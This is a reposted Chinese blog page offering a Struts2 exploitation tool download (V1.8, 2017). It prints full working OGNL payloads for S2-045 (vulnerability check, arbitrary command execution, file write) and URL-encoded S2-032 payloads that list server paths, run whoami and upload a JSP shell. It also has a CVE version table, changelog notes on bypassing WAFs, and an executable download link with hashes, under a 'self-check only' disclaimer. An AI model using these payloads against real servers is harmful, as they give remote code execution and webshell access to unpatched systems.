Struts2漏洞利用工具下载(更新2017-V1.8版增加S2-045/S2-046)

Struts2漏洞利用工具下载(已更新V1.8版)

    

2017-03-21:
增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部分WAF防护,存在S2-045就存在S2-046。http://struts.apache.org/docs/s2-046.html、

 

2017-03-07:

增加安恒信息研究员nike.zheng发现的S2-045,jakatar处理复杂数据类型时,异常处理不当,导致OGNL代码执行,通过在请求的Content-Type头中构造OGNL表达式来执行Java代码。http://struts.apache.org/docs/s2-045.html

 

相关exp:

S2-045:

1.验证漏洞,修改Content-Type,返回内容为“webpath”代表存在漏洞。

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).(#res.getWriter().print('path')).(#res.getWriter().flush()).(#res.getWriter().close())}

2.执行命令

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new java.lang.ProcessBuilder('[cmd]'.toString().split('s'))).start().getInputStream()).useDelimiter('AAAA')).(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).(#res.getWriter().close()).(#s.close())}

 

3.上传文件:

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')).(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).(#res.getWriter().close())}

 

 

 

S2-032 20160426  漏洞参考 http://seclab.dbappsecurity.com.cn/?p=924

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
获取磁盘目录:
1. 
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8
 
 
执行命令:
1.
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=A&ppp=%20&encoding=UTF-8
 
2.
method:%23_memberAccess[%23parameters.name1[0]]%3dtrue,%23_memberAccess[%23parameters.name[0]]%3dtrue,%23_memberAccess[%23parameters.name2[0]]%3d{},%23_memberAccess[%23parameters.name3[0]]%3d{},%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew%20java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=A&ppp=%20&encoding=UTF-8
 
上传文件:
1.
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=stest.jsp&shellContent=tttt&encoding=UTF-8&pp=%2f

 

更新日志:

2017-03-21:
增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部分WAF防护,存在S2-045就存在S2-046。http://struts.apache.org/docs/s2-046.html

 

2017-03-07:
增加安恒信息研究员nike.zheng发现的S2-045,jakatar处理复杂数据类型时,异常处理不当,导致OGNL代码执行,通过在请求的Content-Type头中构造OGNL表达式来执行Java代码。http://struts.apache.org/docs/s2-045.html
2016-04-26:
增加最新的S2-032远程代码执行漏洞,和S2-019很相似。
参考:http://seclab.dbappsecurity.com.cn/?p=924
2015-12-01:
采用scanner读数据流,再也不用担心s16不能执行net user/ipconfig/netstat -an等命令了。
增加复杂数据包(multipart/form-data)提交方式进行漏洞利用,可绕过部分防护。可执行命令,暂时无法上传文件。
2014-11-12:
最近遇到s19这个debug模式开启导致代码执行,这个有点少,但还是有一些,为了方便大家把13版本修改了一下。可以利用这个漏洞执行命令、上传shell。
警告:
本工具为漏洞自查工具,请勿非法攻击他人网站!
==漏洞编号==============影响版本=========================官方公告==========================================影响范围=====
S2-045 CVE-2017-5638 Struts 2.3.5-2.3.31, Struts 2.5-2.5.10 http://struts.apache.org/docs/s2-045.html 影响范围较大
S2-037 CVE-2016-4438 Struts 2.3.20-2.3.28.1 http://struts.apache.org/docs/s2-037.html 影响范围小
S2-032 CVE-2016-3081 Struts 2.3.18-2.3.28 http://struts.apache.org/release/2.3.x/docs/s2-032.html 影响范围小
S2-020 CVE-2014-0094 Struts 2.0.0-2.3.16 http://struts.apache.org/release/2.3.x/docs/s2-020.html 影响范围小
S2-019 CVE-2013-4316 Struts 2.0.0-2.3.15.1 http://struts.apache.org/release/2.3.x/docs/s2-019.html 影响范围一般
S2-016 CVE-2013-2251 Struts 2.0.0-2.3.15 http://struts.apache.org/release/2.3.x/docs/s2-016.html 影响范围非常大
S2-013 CVE-2013-1966 Struts 2.0.0-2.3.14 http://struts.apache.org/release/2.3.x/docs/s2-013.html 未添加,S2-016范围内
S2-009 CVE-2011-3923 Struts 2.0.0-2.3.1.1 http://struts.apache.org/release/2.3.x/docs/s2-009.html 未添加,S2-016范围内
S2-005 CVE-2010-1870 Struts 2.0.0-2.1.8.1 http://struts.apache.org/release/2.2.x/docs/s2-005.html 未添加,S2-016范围内

 

 

仅提供验证漏洞使用,请勿非法使用,产生的任何法律问题,一概与本人无关。

1.png

下载地址:

Struts2漏洞利用工具2017版.rar

 

文件名称: Struts2漏洞利用工具2017版.exe
文件大小: 104 KB (107008 字节)
文件版本: 1.8.0.0
修改时间: 2017年03月22日,17:39:29
MD5: 3B405C30A7028E05742D0FBF0961E6B2
SHA1: 1D69338543544B31444D0173C08E706D57F148CB
CRC32: 97AC167B
计算时间: 0.00s

 

转载于:https://www.cnblogs.com/waw/p/6698881.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Struts2漏洞检查工具2019 警告: 本工具漏洞自查工具,请勿非法攻击他人网站! ==漏洞编号==============影响本=========================官方公告==========================================影响范围===== S2-057 CVE-2018-11776 Struts 2.3 to 2.3.34,Struts 2.5 to 2.5.16 https://cwiki.apache.org/confluence/display/WW/S2-057 影响范围非常小 S2-048 CVE-2017-9791 Struts 2.3.X http://127.0.0.1:8090/struts2-showcase/integration/saveGangster.action 影响范围非常小 S2-046 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10 http://struts.apache.org/docs/s2-046.html 和S2-045一样 S2-045 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10 http://struts.apache.org/docs/s2-045.html 影响范围较大 S2-037 CVE-2016-4438 Struts 2.3.20-2.3.28.1 http://struts.apache.org/docs/s2-037.html 影响范围小 S2-032 CVE-2016-3081 Struts 2.3.18-2.3.28 http://struts.apache.org/release/2.3.x/docs/s2-032.html 影响范围小 S2-020 CVE-2014-0094 Struts 2.0.0-2.3.16 http://struts.apache.org/release/2.3.x/docs/s2-020.html 影响范围小 S2-019 CVE-2013-4316 Struts 2.0.0-2.3.15.1 http://struts.apache.org/release/2.3.x/docs/s2-019.html 影响范围一般 S2-016 CVE-2013-2251 Struts 2.0.0-2.3.15 http://struts.apache.org/release/2.3.x/docs/s2-016.html 影响范围非常大 S2-013 CVE-2013-1966 Struts 2.0.0-2.3.14 http://struts.apache.org/release/2.3.x/docs/s2-013.html 未添加,S2-016范围内 S2-009 CVE-2011-3923 Struts 2.0.0-2.3.1.1 http://struts.apache.org/release/2.3.x/docs/s2-009.html 未添加,S2-016范围内 S2-005 CVE-2010-1870 Struts 2.0.0-2.1.8.1 http://struts.apache.org/release/2.2.x/docs/s2-005.html 未添加,S2-016范围内

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值